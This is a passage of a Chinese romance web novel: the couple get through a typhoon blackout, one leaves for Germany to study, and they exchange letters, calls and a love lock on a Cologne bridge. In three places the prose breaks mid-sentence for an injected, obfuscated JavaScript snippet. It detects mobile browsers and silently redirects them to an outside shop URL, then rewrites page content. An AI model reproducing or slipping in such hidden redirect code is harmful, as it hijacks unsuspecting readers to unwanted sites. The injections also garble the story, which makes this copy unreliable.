今早她刚把倒数的章节翻译完。这虽然是一个家族的故事,但也带着主要的爱情线。现在空闲下来,她才能回想起这个。潮湿的沼泽,多雨的天气,月亮的潮汐变化,似有若无的触碰。这个时候她的心里涌上许多平时根本不会细想的问题,比方说,什么样的爱情有意思? 她本以为程烨然会在诸多选项中挑一个。 但他没有。 他只是也翻身,面对着她,眼睛在黑暗中一闪一闪的:“我倒觉得,什么样的爱情都很有意思。” “只是最有意思的,应该是两个人真正相爱的故事。或许俗套吧,但一个人爱另一人,那个人却不爱他,这样的故事,未免太心酸了。” “……那你喜欢吗?” “说不喜欢就太假了。但我现在已经无所谓这样的故事了。”程烨然说,“我已经身处我最喜欢的爱情故事之中,所以特别满足,没有心思想其他。” 烛火晃动着,他的神色影影绰绰,却是十分认真。许知蕴一怔,反应过来他说了什么,脸颊一下子变红起来。可惜这烛光是淡黄色的,她的脸红,他也就看不见。但两双眼睛都是一样的闪,彼此都倒映在眼眸里。 “哇,程烨然同志这么会说情话呀?” 她伸出手来,假装要去碰程烨然的耳朵。她知道程烨然耳朵怕痒,果不其然,他立马举起手来护住耳朵。但许知蕴的目的不是这个,而是他的脸颊。她双手捧着他的脸,捏来捏去,就像揉一个面团。程烨然笑起来,反手也抓住她的手,将自己的手覆了上去。 他们闹了一阵,最后都感到了昏昏沉沉的困意。 程烨然低声说:“困了,我们就睡吧。” “……万一电来了怎么办?”许知蕴的声音黏糊糊的。 “还不知道什么时候来电,不如先睡一会。我去把其他灯的开关关了,就留房间里的吧。到时候,就等它亮起来。” 他起身,走到客厅书房等地方,噼啪地按掉了开关。拖鞋的声音回荡在屋子里,然后他又走回来,打开手机,轻轻吹灭了蜡烛。一缕白烟飘起来。 在床上躺了几分钟,他们就睡着了。 窗外的风雨声,也渐渐地低了下去。兴许是拍了好几个小时的窗户,却进不来,只好气鼓鼓地走掉了。被吹弯的树也直起腰来,地上散漫着被吹断的树枝和杂乱的绿叶,被雨水浸泡着,湿漉漉的。 这样的天气,看不见月亮,窗外的一切都是黑暗的,这一片区域似乎都陷入了睡眠。很远很远的地方,或许有灯光亮着,或许是海边的惨白的灯,照耀着翻滚的浪花。 没有电,也就不知道时钟走了几格。 不知睡了多久,忽然“啪——”的一下,伴随着电器运转的嗡嗡声,卧室的灯一下子亮起来。周围又响起一阵海浪般的欢呼声,那是来自这一片区所有的居民。灯光刺进人的眼皮,他们几乎是同时从床上翻身起来。 “来电了!”许知蕴喊道。 突如其来的光线刺痛人的眼睛,她翻开被子,一只手挡着眼睛,另一只手去找拖鞋。她摸索半天找不到,还是程烨然给她穿好。两人出了卧室,把家里所有的灯都打开了,然后拿出手机,一看:现在是凌晨一点半。似乎有了信号,许知蕴赶忙尝试着给许父许母打电话——不一会就接通了,是许母。 “妈!”她叫了一声,“你们那边停电了吗?停了的话,来电了吗?” 许母说:“来电啦,刚刚来的。你爸和我刚借着手电筒打完牌,还说睡觉呢,电就来了。” “家里没事吧?” “安全着呢,放心好了。你们那边呢?” …… 确认什么事都没发生,许知蕴挂了电话,松下一口气。那边程烨然也跟他的父母通完电话,正在尝试着用移动数据发消息。万幸的是,随着电的恢复,一切信号也都恢复了。 一打开手机,成堆成堆的消息跳出来,许知蕴不得不一个一个回过去。但回消息的时候是很快乐的。程烨然的消息也跳了出来,不过是几个小时前的了。她拿着手机,忽然抬起头来,正好和他四目相对。 她看了他两眼,忽然笑着说:“程烨然!你拖鞋穿反啦!” 程烨然一低头,也笑了。 “我太着急了。”他一边说,一边把拖鞋重新穿好。 这个时候,虽然是凌晨一点半,但两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14245090|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人丝毫都没有睡意。 他们走到客厅,看见巨大的落地窗外,又重新亮起了万家灯火。 不同的灯光下,不同的剪影。静谧着,一点一点。金色的,银色的,就像另一片天空。 刚刚那波短暂的喧闹过后,世界又安静了下来。 许知蕴不知多少次从客厅的落地窗看外边的景色,但她从没发现仅仅只是附近居民楼的灯光,也显得那么好看。 她定定地看了一会,才把目光收回。程烨然走到她的身边,给她递来一个陶瓷杯。她接过来一看,里边是温热的牛奶。 “我刚在微波炉里热好。”他说,“喝一点吗?” 许知蕴点点头,一鼓作气地把牛奶喝掉了。程烨然站在一旁,也同她一起看着窗外。这样的天气,要看见月亮实在太难了。现在已经是凌晨,再过两三个小时,太阳就要升起了。今晚翻过去,明天又是全新的一天。 “……窗户上的胶布,我们明天再撕吧。”她的视线停留在落地窗上的胶布。尽管贴得很平整,但仍然有许多不规则的小气泡。她不禁有些担心,“撕下来会不会留印子?那样就不好看了。” “没关系。”程烨然笑了笑,“窗子没坏,人没有受伤,就很好。如果留印子不好看,大不了我再换一扇。” “好。” 他们回到了卧室。 从现在开始,才是一个安心的晚上。 * 第二天醒来,太阳竟然出奇的好。 日常生活恢复了正轨,程烨然收到工作邮件,让他们休息一天,后天再上班,因此得以睡一个懒觉。许知蕴打着哈欠起床,看见他在厨房里做早餐,用平底锅涂了黄油,煎吐司,带来一阵阵浓郁的香气。她不禁有些恍然,仿佛昨晚上的一切都是个记忆深刻的梦境,一醒来就又回到了现实。 “早上好!” 她跑过去,迎接她的是一句同样温柔的“早上好”。 他们一起吃了早餐。黄油吐司夹培根,许知蕴选的饮品是咖啡,程烨然的依旧是果汁。吃完饭,程烨然踩着凳子,和许知蕴一起慢慢地将窗上的胶布撕掉。再怎么小心,不可避免地还是会留下印痕。许知蕴忍不住心疼。 在日光的照耀下,楼下的风景一览无余。许知蕴在一瞬间有些恍惚。经过一个晚上,这里几乎变成了她不熟悉的样子,差点令人疑心走错了地方。 许知蕴留心去找那棵广玉兰树,却发现它的枝丫被吹断了大半,如今只剩光秃秃的树干。积了一夜的雨水,波动着一层薄薄的光。小区物业的人员正穿着工作服,组织清扫。 她回了一趟自己的家——由于也做了预防措施,家里相安无事。她三下五除二就把上边的胶布撕掉,然后和赶来的程烨然一起,将那些挪开的家具一一归位。做完这一切,他们拿了家里的扫把,下楼同工作人员一起,将周围的残枝败叶清理干净。 附近的街道重新热闹起来。 拎着公文包的上班族又穿梭在人群之中。公共交通重新运行,一切秩序正常。大街小巷的商铺也将挡板拆了下来,开始营业。回到家打开电视,当地新闻台正在报道这一场台风所造成的经济损失、人员伤亡状况…… 但无论如何,台风总算是过去了。 43. 第四十三章 一个月后。 程烨然办好了全部手续,踏上了去德国的航班。 许知蕴没有跟着他去德国。她想,尽管自己有着冬天去一趟慕尼黑的愿望,但她不想是这一次。去了之后,终究要在机场分别。与其是这样,不如不去的好。 况且,在这样的情况下前往,不管是多欢乐的旅程,也会不由自主地带着一些离别的哀愁。 所以,她只是送他到了登机口。他们拥抱着,亲吻着,然后温存结束了。广播里传来机械的女声播报:“请乘坐……航班的旅客抓紧时间登机……” 许知蕴笑了笑,先一步放开了他。 “到时间啦。”她尽量用轻松的语气说,“你该登机了。” 程烨然没有说话,只是静静地看着她。半晌,他低声说:“一旦有假期,我一定回来。” 许知蕴说:“你还是别承诺的好。我喜欢惊喜,我喜欢一打开门,然后你就在门前,跟我说‘我回来了’。比承诺还要令人开心一百倍呢!” 程烨然也微微地笑了。他故意问道:“那你是不愿意听我的承诺咯?” “我不愿意听,你就不愿意再说了吗?” 她的声音很脆,然而这样脆脆的声调,却让程烨然的心忽的一下,如坠入云朵般柔软起来。 他沉沉地凝视着她的双眼:“我愿意说的。一千次一万次我都愿意。” 许知蕴留神去看他的面容。或许短时间内再也见不到了——虽然能从手机里打视频通话,但是隔了一层屏幕,终究没那么灵动。她的目光扫过他的眉毛、眼睫、鼻梁……在那一瞬间,她忽然在想,程烨然老了是什么样子呢?皮肤皱巴巴的,头发也花白了,眼睛迟早也会浑浊的。但她仍然觉得,他就算老了,也是个帅气的老人。 她不由得扑哧一声笑出来。 程烨然奇怪道:“笑什么呢,这么开心。” 许知蕴本来想说,自己在凭空想象他老了之后的模样。但刚刚耳边那句“我愿意”打着圈在她脑海里回荡,她的话不知不觉就拐了一个弯。 “你说这话,就像结婚典礼上的誓词那样。” 话说完,她又笑了。她想,自己笑得有点多,像是神经失常。但她又想,如果自己是要远走的人,还是宁愿来相送的人多笑笑。 程烨然默了两秒。他深知自己现在没有办法做出承诺。说一句话,动动嘴皮子,多容易的事情。然而有些话虽然只是动动嘴皮子就能说,但却有着千钧的重量。 广播又一次响起,机械女声在催促人们赶快检票登机。 他深吸一口气:“我走了。” “嗯。” “我会找时间回来的。” “嗯。” “我会打很多电话,不许不接。” “……嗯。” 应声后,许知蕴忽然轻声说:“程烨然,低一下头。” 程烨然照做了。紧接着,她踮起脚尖,虽然有点费力,但总算是吻到了他的额头。 “这是祝福的吻。”她眨了眨眼睛,“祝你旅途平安,万事顺意。” 她注视着程烨然的身影消失在远处。他背上背着黑色的背包,里边塞满了她亲手装进去的小东西。他一边走,一边回头,还差点被地上凸起的警戒标识绊倒。 许知蕴真想叫他别回头了,看路要紧,但她什么也说不出来。她只能看着他的身影逐渐消失,过了一阵子,她走出机场,看见一架白色的飞机飞了起来,逐渐变成蓝天里的一个小点。或许这是程烨然的飞机,或许不是。太远了,上边的编号根本看不清。 然而她还是定定地看着飞机飞走了。 她回到家里,去洗手,看见洗漱台上的两个漱口杯。 玻璃橱柜里有两个陶瓷杯,都是拿来装咖啡的。 卧室的棉拖鞋有两双,好端端地呆在床边。 书房里有两张木椅子。原本只有一张,后来他们又去家具店买了一张新的。 腱鞘炎的锻炼手操。昨天她完成了最后一章的翻译及全书的校对,没注意时间,还是程烨然把她抓过来,两个人一起做了手操。 …… 她在书房里坐着,将翻译好的文稿发给编辑。她知道接下来是漫长的改稿期,随后她将会看到封面,看到图书号,随后一本样书会寄到她的手里,书脊上除了作者,还有她的名字。她当然应该高兴,但那都是明年的事情了……她想了那么多,思绪兜兜转转,又回到眼前那把椅子上来。 那把椅子是程烨然的,原先总挂着一两件衣服,方便冷的时候披起来。现在那些衣服不见了,椅子也变得格外光秃秃的了。 许知蕴在这样长久的寂静之中坐着,终于认识到了一点。 程烨然真的走了。 * 日子慢悠悠地过着。 程烨然是中午出发,下午就落地德国。他给许知蕴发了许多照片:丢满硬币的喷泉、双层复古小屋,游人如织的新天鹅堡,俾斯麦广场……他坐在奔驰的火车上,在手机里问她,猜猜自己这趟航班最终要飞向哪里去?许知蕴一连报了好几个地名都没猜出来,最后他笑着说,是冰岛呀,冰岛的雷克雅未克。 他给她打了视频电话,给她看了一圈自己现在住的公寓。木质的靠背椅、温暖的壁炉、墨绿色的窗帘……房东是个银发老太太,为了他的到来,还专门烤了几块苹果卷。 那边的温度现在是个位数,到了十二月就会降到零下。许知蕴从视频里看见他冻红的鼻尖,脖子上围着暖和的羊绒围巾。这是她买给他的,上边还有一个小小的她的名字。 她也有相同的一条。只不过名字不一样。 他们在电话里聊了许久,最后夜幕降临了。 “晚安。”他轻轻地说。 他那边的背景还是下午,但许知蕴猛然发觉,自己这边已经是深夜了。 她走到窗边,去看窗外的月亮。中旬的月亮,被云层遮掩了一半,银色的边缘模糊不清。他问:“你在做什么呢?” 许知蕴慢慢道:“我在看月亮。等我这边到了凌晨,你那边就是晚上了。你会看见一样的月亮的……” 四周很安静,简直安静得有些过分了。她的眼睛里映出了月亮的倒影,就像一片金子漂浮在深色的湖面。她眨眼睛,湖面就泛起一阵阵绵延不绝的涟漪。 他们一时没有说话。 良久,程烨然才说:“以前,我很少抬头看天空。” 他的嗓音带着某种魔力,令人心平气和,“无论是鱼鳞云也好,彩虹也好,太阳还是月亮,都只是挂在天上。匆匆忙忙赶路的时候,我是不会抬头去看的。但是……” “但是我发现,我不是不喜欢看,而是没有人提醒我看,也没人和我看而已。” 他说着说着,顿了几秒。他的咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262766|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字很轻,许知蕴保持着看月亮的姿势,却发现月亮越来越模糊,越来越大了。银色的边缘,也泛着一圈白色,闪烁着星星点点的痕迹。 他的声音透过电话传到她耳朵里,伴随着一句句她完全陌生的外语,交织着流淌进来。她忽然感觉鼻子有些堵,如果眨一眨眼,泪水肯定就要流出来了,可她又不想让程烨然发现,只好不着痕迹地吸了吸鼻子。 “……嗯。”她拿着手机的手微微颤抖着,“所以……” 许知蕴不确定程烨然听见自己吸鼻子的声音没有。她面上故作镇静,把手机又拿远了一点,制造什么都没发生的假象。 “——所以我要谢谢你。” 他说:“无论是什么,都谢谢你愿意陪我一起看。” 他这话的语气像是哄小孩子。许知蕴笑了:“别把我当小朋友了,我不需要你哄。” “是吗?我倒觉得需要呢。” 已经很晚了,他向她再次道了晚安。许知蕴放下手机,看着上边显示的“正在通话”。一秒、两秒、三秒、四秒……她终于伸手按掉,那沙沙声也停止了。她去浴室洗漱,换上睡衣,很快在床上睡着了。 那晚上她做了一个梦,她梦见那株广玉兰的花枝延伸过来,爬到窗台边上,她一打开窗,就飞进来一朵洁白的玉兰花。顺着这朵花,程烨然忽然出现在她面前,伸出手来,笑盈盈地冲她说,早上好!而她因为疑心这是梦,觉得太过不合常理:人怎么能凭空冒出来呢?便一个激灵,冒冒失失地反手关上了窗子,“哐”的一声,把他关在外边了。 那一声巨大的声响,吓得她立马从床上坐了起来。 她扫视一圈,发现床头柜的闹钟正可怜兮兮地躺在地上。 ……原来是闹钟跌落的声音。 她睡眼惺忪地起身,把闹钟捡起来,随后打开手机。 手机里弹出了好几条信息。 ——全都是程烨然发来的。 是他的晚饭。配图是苹果、啤酒和烤牛排。 [这是房东太太做的晚餐,苹果卷很好吃,我问她要了配方,回国就做。烤牛排有些老了,啤酒是另一种风味,不知你喝不喝得惯。] 是一张夜空的图片。空中弥漫着薄雾,如同一层轻柔的纱,风一吹,就掀开了新娘的盖头,那层纱也无影无踪了。深沉的夜空中,是半个月亮。它的边缘泛着柔光,比许知蕴所看到的要清晰多了。 [这是今晚的月亮。知蕴,和你看到的一样吗?我猜不一样吧……但我又多么希望它是一样的。] 第三条只是一串简短的文字: [早上好。新的一天也要开心。] 这边的早上,是那边的半夜,她猜想程烨然多半是用了定时功能。科技的进步带来了多少便利啊,一句轻轻的早安可以跨越千里的陆地和海洋,通过看不见的信号传达过来。 许知蕴盯着这一串消息,忽然慢慢地笑起来。 她的心情太复杂了。她又想笑,又有点想哭。她想,只是他走了而已,为什么自己会变得那么多愁善感……简直不像她自己。她飞速地刷牙洗脸,然后到厨房去,给自己做一份简易的早餐。这个时候太阳很好,一溜的光线从窗户的黑框上流泻下来。这个时候,他当然在睡觉,她也不好贸然发消息打扰他。 只是她在想,德国的冬天是阴沉的。不知他醒来,能不能也看见这么好的日光。 44. 第四十四章 繁重的翻译工作总算告一段落,接下来是编辑的审稿期。编辑会将需要修改的地方标出来,重新发给许知蕴。但这需要一点时间,所以许知蕴也难得睡了几天懒觉。 但几天后,面临的就是繁杂的改动。她不得不打起精神,每天雷打不动地在周颂的店里坐着,几乎将菜单上每一款咖啡都点了个遍。周颂刚开始还给她打五折,到后来索性不打折了,直接免费。 “我不好收你钱啊。”周颂笑嘻嘻地说。后半句他没说出来,但是谁都能听懂。 许知蕴没理他。虽然表面上答应了,但她还是会偷偷扫码转账。 周颂则倚在柜台上,慢悠悠地叹了口气。 “我看程烨然够忙的。”他颇为哀怨道,“手机里的他就像消失了一样。” 许知蕴点点头,没有否认:“是啊,他挺忙的。” 程烨然给她发了个时间表,说进修时的规划基本都按这个来。许知蕴看见密密麻麻的表格,还有除周日外,每天风雨无阻,六点半起床。感觉光是早起这一项,就足够令她打蔫。何况晚上结束了之后,还得自己花时间巩固、总结和复盘,或者加班加点把布置的任务完成。这些光景,一下子让她想起读研期间那段昏天黑地的岁月。 周颂啃着自己刚烤出来的牛角面包,慢吞吞道:“时间过得挺快的——一眨眼就到冬天了。” 是啊,一眨眼就到冬天了。 “我呢,还记得第一次见到你。”周颂难得地来了几句感慨,“就在这里。程烨然还偷偷请你喝咖啡呢。我从来没见过他那个样子……” 他还没说完,许知蕴就惊讶地打断道:“什么?什么请我喝咖啡?” 周颂也同样惊讶地回看她:“就是——” 他忽然反应过来了。敢情这两人在一起这么久,程烨然也没说。 而许知蕴也很快反应过来了。 她又不傻,有周颂这短短的一句话就够了。 一杯免费的玛琪雅朵。 她当然记得那一天的场景,她怎么会不记得呢?她的脑海中飞速将线索串联在一起,最后得出一个显而易见的答案。 “其实根本就是程烨然请我的吧?”她一下子想通了,似笑非笑地说,“本来就没有那个活动,对不对?” 周颂无奈地点点头。“嗯……是这样的。” 他又颇为心虚地补充了一句:“你知道了,到时候、到时候可别说是我说的。” 许知蕴笑了笑:“放心好了,我不会跟他说的。” 但她的心里忽然又升起一个主意。 她坐在电脑前,修修改改,下午回家。她找出几张信纸并一个信封,晚饭也没吃,就先开始写。或许是文思泉涌,她写得很快,三张信纸,半个小时就写完了。她将信纸小心折好,平整地放进信封里,然后出门,骑一辆共享单车,以最快的速度奔向邮局。 她知道邮局关门的时间是下午五点,紧赶慢赶,总算是赶到了。这年头,寄信的人很少,因此柜台旁没什么人排队。许知蕴交了信封,买了邮票,亲手将邮票贴好。前台工作人员有些惊讶,追问着再次确定地址,“您确定是这里吗?街区和门牌号有没有错漏?” 她知道程烨然住在哪里,知道这封信的终点是海德堡的一个不起眼的公寓。 她说:“我确定。” 她似乎是邮政业务的最后一位客人。她一走,没过几分钟,邮局的灯就熄了,门就关了。冬天的黑夜来得很快,夜幕降临不过是一瞬间的事。她呵出一口白气,重新跨上共享单车,沿着记忆中的路骑回家。路过便利店,她把车停下来,买了一个烤红薯。 甜蜜的香气四溢,热气腾腾的烤红薯几乎要把指尖的皮肤烫红。她慢慢地将烤红薯吃完了,一阵暖意遍布全身。也不知道今年会不会下雪。往年下雪,都是按秒来计算的,许知蕴已经很久很久没看过雪了。她的记忆还停留在小时候,听说下雪了,她就跑到外边,看在雪中那座发光的、高大的电视塔。 也不知道信到达程烨然手里是什么时候。 是早晨还是晚上,是下雨还是下雪。 * 她没有在微信和电话里说过这件事情。 寄信嘛,讲究一个出其不意。要是让收信人知道了,那就没意思了。 她在手机上看着这封信的动向。到达本城某地邮件处理中心、到达另一处邮件处理中心、到达国际互换局、送交海关、海关放行……她想象着这封信同许许多多的信件一起在海上邮轮飘荡的样子。那么薄,那么不起眼,但总能精准地交到另一个人手上。她算好时差,同程烨然打电话,聊天。随着信件在海上的起起伏伏,十一月很快过去,日子进入十二月。 他们互换了万圣节的视频,许知蕴也是万圣节之夜中欢乐人群的一个。 程烨然给她看地铁口独自表演的艺术家。穿着亮蓝色羽绒服,拉大提琴。程烨然录了视频,传过来。那人是柏林艺术大学的学生。许知蕴问,他拉的曲子是什么?程烨然说,刚问过了,是肖斯塔科维奇的《浪漫曲》。 许知蕴挠挠头:“……没听过。” 程烨然笑了:“我也没听过。” “但是很好听,不是吗?” 十二月,下雪了。他给她拍路边的椴树,积了一晚上的雪,太厚了,从树枝上一点一点滑下来。有限的一天假期里,他出门坐火车,坐到科隆,又搭上城市观光车,来到教堂边上。许知蕴看见了雪中的大教堂。黑漆漆的,庄严肃穆。天空也是阴沉沉的,泛着淡淡的灰白色,像刚拿到手的报纸。 程烨然说:“喏,这就是。” 周边游人如织,大家都举起手机拍摄。程烨然也举着手机。他买票走进去,给她看高高的穹顶、彩色的琉璃花窗、壁画里受难的耶稣。他随着人流爬上旋转的楼梯,许知蕴想,原来从上边俯视整个科隆城,是这样的景色。接着他走了出来,过了一座桥,来到教堂的对面。 “以前呢,我很喜欢从这座桥的对面看教堂。”程烨然笑着说。 “为什么呢?” 他给她描述这样的场景:“在下大雪的时候,一切都模糊了。在桥的对岸看大教堂,连它也模糊在雪里。不知为什么,我很喜欢这样的感觉。” 许知蕴想象着,轻声说:“……真希望什么时候我也能看到。” 程烨然说:“可那样的天气太冷了。” 她摇摇头:“没有关系,暴雪嘛,总是会冷的。但是看到美丽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272959|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的景色,感觉再冷也很值得。” 她看向窗外。这个时候,城里在下雨。细细密密的雨,还有细细密密的寒冷。 她看见程烨然镜头里的那座桥——和普通的桥似乎不一样。这里貌似也是一个景点,不少人在此驻足停留。许知蕴还看见远处一对年轻情侣,他们拥吻着,随后一挥手,将一个细小的,银色的东西丢入了河面。 她好奇地问:“程烨然,这座桥也是个景点吗?” “嗯。这里是霍亨索伦桥。” 与旁边热热闹闹的情侣相比,他是这座桥上为数不多的单身男人。 “他们在干什么?” 许知蕴的视线落到镜头角落蹲着的一对男女身上。似乎在往旁边的铁栏杆上挂东西。而那铁栏杆已经被挂满了,几乎塞不下,他们费劲找到个位置,姿势有些扭曲,但总算是挂上了。 程烨然忽而顿了顿,温声道:“他们在挂锁呢。” 他慢慢从桥上走下来,走到了科隆大教堂的对岸。他们的时差有点长,而时间又太短了。许知蕴这边已经是深夜,而那边还是一个阴郁的下午。雨仍然下着,在玻璃上溅出透明的雨花。她一时间有些恍惚,忽然深切地感觉到,手机对面,真的是一个陌生的土地。而因为一个熟悉的人,那片土地也不再陌生,反而带一些一见钟情般的亲切。 她说:“晚安——或者说,提前跟你说晚安。我得睡觉了。” “睡吧。” 他的声音很温柔,寒冷的冬天也因此融化了大半。“祝你好梦。” 许知蕴结束通话,放下了手机。与此同时,程烨然却在往回走。 准确地说,他又走到了霍亨索伦桥的旁边,来到了一家锁店。里边琳琅满目,挂着各种颜色和式样的锁。他驻足在其中,一把锁一把锁地挑选过去,最后选中了一款玫瑰金的。他说不清,但看到这把锁时,他的脑海中闪过一个念头——如果她在这里,应该会喜欢这个颜色吧。在冬日铁灰色般的天气中,玫瑰金简直耀眼得过分。 有些锁店能刻字,有些则不能。程烨然付了钱,拜托店主帮他刻上两个名字的缩写。店主是个花白头发,戴着眼镜,皮肤红润的老头。看见要刻的名字时,他好奇地问:“中国人?” “嗯。拜托您了。” 店主一点一点将他们的名字刻上去。过了一会儿,他将锁拿给程烨然:“祝你们长长久久。” 程烨然的脸上展露出一个温和的笑意:“借您吉言。” 他拿着锁,走上霍亨索伦桥,仔细找了一个位置——所幸找到了一个好位置。他蹲下来,小心翼翼地将锁挂了上去。围巾掉下来,挡住了他的视线,他不得不重新将它系好。一个穿着黑色长款大衣的男人蹲在那里,难免显得有些滑稽,但程烨然并不在乎。他只在乎锁的位置,在乎它有没有挂好。 刻着两人名字缩写的锁,安安静静地待在那里。 他起身,将手中的钥匙,轻轻抛进了河里。河面泛起一阵再微小不过的涟漪。 我们未来会一起来到这里,再次挂上一把同心锁吗?他忍不住想。 但就像钥匙会落入水中、德国的冬天会下雪、夏天广玉兰会开花一样——他当然知道这个问题的答案。 45. 第四十五章 十二月,最令人瞩目的节日是圣诞节。 早在十一月的末尾,街头小巷就进行了节日的预热。到了十二月,几乎每一家商铺都在开展相关的促销活动,一时间很是热闹。 寄过去的信已经显示被签收,紧接而来的就是程烨然的电话。许知蕴故意问他,看完信件,就没有什么要说的?程烨然笑了一下,轻轻地在那头说,我也给你写了信。等你收到信,我想说的话,你也就知道了。 许知蕴说:“你想说什么话,可以在电话里讲呢。” “这可别。”程烨然像是背过身去了,电话那头传来纸页翻动的声音,“还是写在纸上的好——真难为情!” 话说完,他们两个人又都一起笑起来。许知蕴忍不住想,程烨然究竟在信里写了什么?她又想到自己信件里的内容。好吧,确实不太好意思读出来,怪难为情的。他们又聊了许久,日常的话题被翻出无数种花样来,有人伸出手指,飞速地翻动着日历的页码,寻找遗忘在生活中的小事。这是一次再普通不过的电话。等结束后,许知蕴这边依旧是晚上,天空挂着沉沉的月亮,雨季已经过去了,只是还没有下雪。 她在床上,很快陷入安眠。但她睡着了,他却没有——这个时候还并不是晚上。他低垂着眉眼,摩挲着手里的信纸。那是从国内漂洋过海来的一封信,他从头看到尾,细细地看了三遍,直到办公室的同事叫他,他才恍然回过神来。 “程?”对方将手里的文件递给他,“这是今晚的……哎,你笑得挺开心的嘛?” 同事揶揄道;“是最近有约吗?” 程烨然愣了一愣,接过文件,说:“并没有。” 他这才反应过来他在笑。同事走开了,他打开文件,开始工作,只是视线仍然不住地往信件那边瞟。 索性时间很快过去,一到点,他就收拾了东西,回到自己租住的公寓。夜晚的风不住吹着,他从地铁口出来,把围巾裹紧,三步两步跑了回去。房东太太给他倒了一壶热茶,程烨然说声谢谢,接过一饮而尽。他回到卧室,脸色红润起来,把大衣和围巾脱了,挂在衣帽架上。身体暖洋洋的,可真正要提笔去写一封信,反而让他的手微微地发起抖来。 写什么好呢? 他撑着下巴,钢笔的尾部一转一转。过了许久,他开始慢慢写起来。一个字一个字,墨水晕染在纸上。想开头的时候,万分艰难,真正开始写的时候,反而觉得纸笔不够。晚上,他终于把信写完了,一折、两折,压平整,然后放进崭新的墨绿色信封里。 但他并没有将这封信投递到邮局。 * 圣诞节的前一天,是平安夜。 许知蕴早已经过了“平安夜必须要吃苹果”的年纪了,对于铺天盖地的苹果宣传,倒也无感。傍晚,她一个人慢悠悠地在步行街里走,在人山人海的光亮处,忽然看见了一个有些面熟的脸孔。 她试探着走上前,悄悄到那人的侧面一看—— “你是……”她惊讶道,“你是小桑吗?” 被她叫住的那个女人脚步一顿,转过身来:“你是——” 小桑看见她的脸,一瞬间想起来了她是谁。“啊!许小姐!” 许知蕴笑了笑。她已经很久没见过小桑了,差点没认出来。她的视线从小桑的脸上滑落,直到看见她无名指上的钻戒。 她小声道:“你……你同他结婚了。” 小桑抬起手,看了看自己的钻戒。很闪亮,很美丽。她点点头:“嗯,我结婚了。我们刚度完蜜月回来。等过完年就走。” 许知蕴知道她说的“走”是指去哪里。她愣在原地,一时不知道说什么好,还是小桑微微一笑,伸出手问她:“我们一起吃个晚饭吧。” 她们来到了一家餐厅,随便点了几个菜。点完菜,许知蕴留神打量小桑,总感觉她和先前不一样了。穿衣风格变了,神情也变了,就像一根刺藏在了柔软的棉花里。等菜上来的间隙,她绞尽脑汁地找了个话题:“嗯……香港之旅怎么样?” 小桑没想到她会问这个,不过还是慢慢地讲起来。虽然度过了一个月,但这一个月着实乏善可陈。她想了想,竟然没有找到什么特别值得说的事。和梁丰在一起,还能发生什么有趣的事呢?大部分时间其实是有些煎熬的,但她也有快乐的时候。 晚上他们一起逛旺角和尖沙咀,买了一堆东西,然后在预定好的餐厅里用餐。外边灯光璀璨,厅内有人表演,大提琴拉得很美。她听完音乐,忽然听见梁丰转头问她:“好听吗?” 小桑说:“好听。” 这时梁丰笑了一下,把头转过去了。他没有像往常一样去和其他的年轻女子搭讪。小桑想,这难道是婚姻带来的短暂效应?他们这一个月如流水一般过去了,等回到大陆来,蜜月期结束,梁丰又恢复成之前的样子,继续把俏皮话讲给别的女人听。 小桑知道这仅仅是一个约定性的婚姻,可在梁丰转头问她的时候,她忽然会感到一点点隐秘的欢欣。仿佛对面坐着的男人是个谦谦君子,而他爱她。 “就是这样……”小桑耸了耸肩,“其实没什么。只是我——我还是挺软弱的,明明知道没有,还会对爱情抱有期待。” “这不叫软弱呀。”许知蕴将一块桂花糖藕夹给她,“每个人都对爱情抱有期待。这当然不算什么软弱。” 小桑看着她,顿了顿,“你为什么不问我,为什么今晚一个人呢。” “为什么要问?”许知蕴说,“我也是一个人。况且一个人也没什么不好,世界上总会有人喜欢独处的。或许你想和他作伴,嘿,他还不高兴!” “啊……”小桑淡淡地笑了笑。她也没问许知蕴,为什么也是一个人。反而是许知蕴自己说出来了:“他呢——在国外。每天都在忙,圣诞假期也这么忙?比我读研时还累……正好我一个人,享受一下难得的清净。” 小桑一开始还没反应过来“他”指的是谁。但过了几秒钟就明白了。她眯起了眼睛:“那正好,梁丰去公司和他爸参加什么会议了,最近没空找女人,也没空回家。你我正好一起吃一顿饭。” 她把梁丰的事说得平平常常,神色很是自然。 她们慢悠悠地吃完了这顿饭。许知蕴再次问她,到美国后打算做什么? 小桑说:“其实我最近正在学英语……等学得差不多了,或许会听从你的建议,去学一学商科。” “真的吗?” “那当然了,我可不骗人。” 许知蕴笑了:“恭喜你呀。” 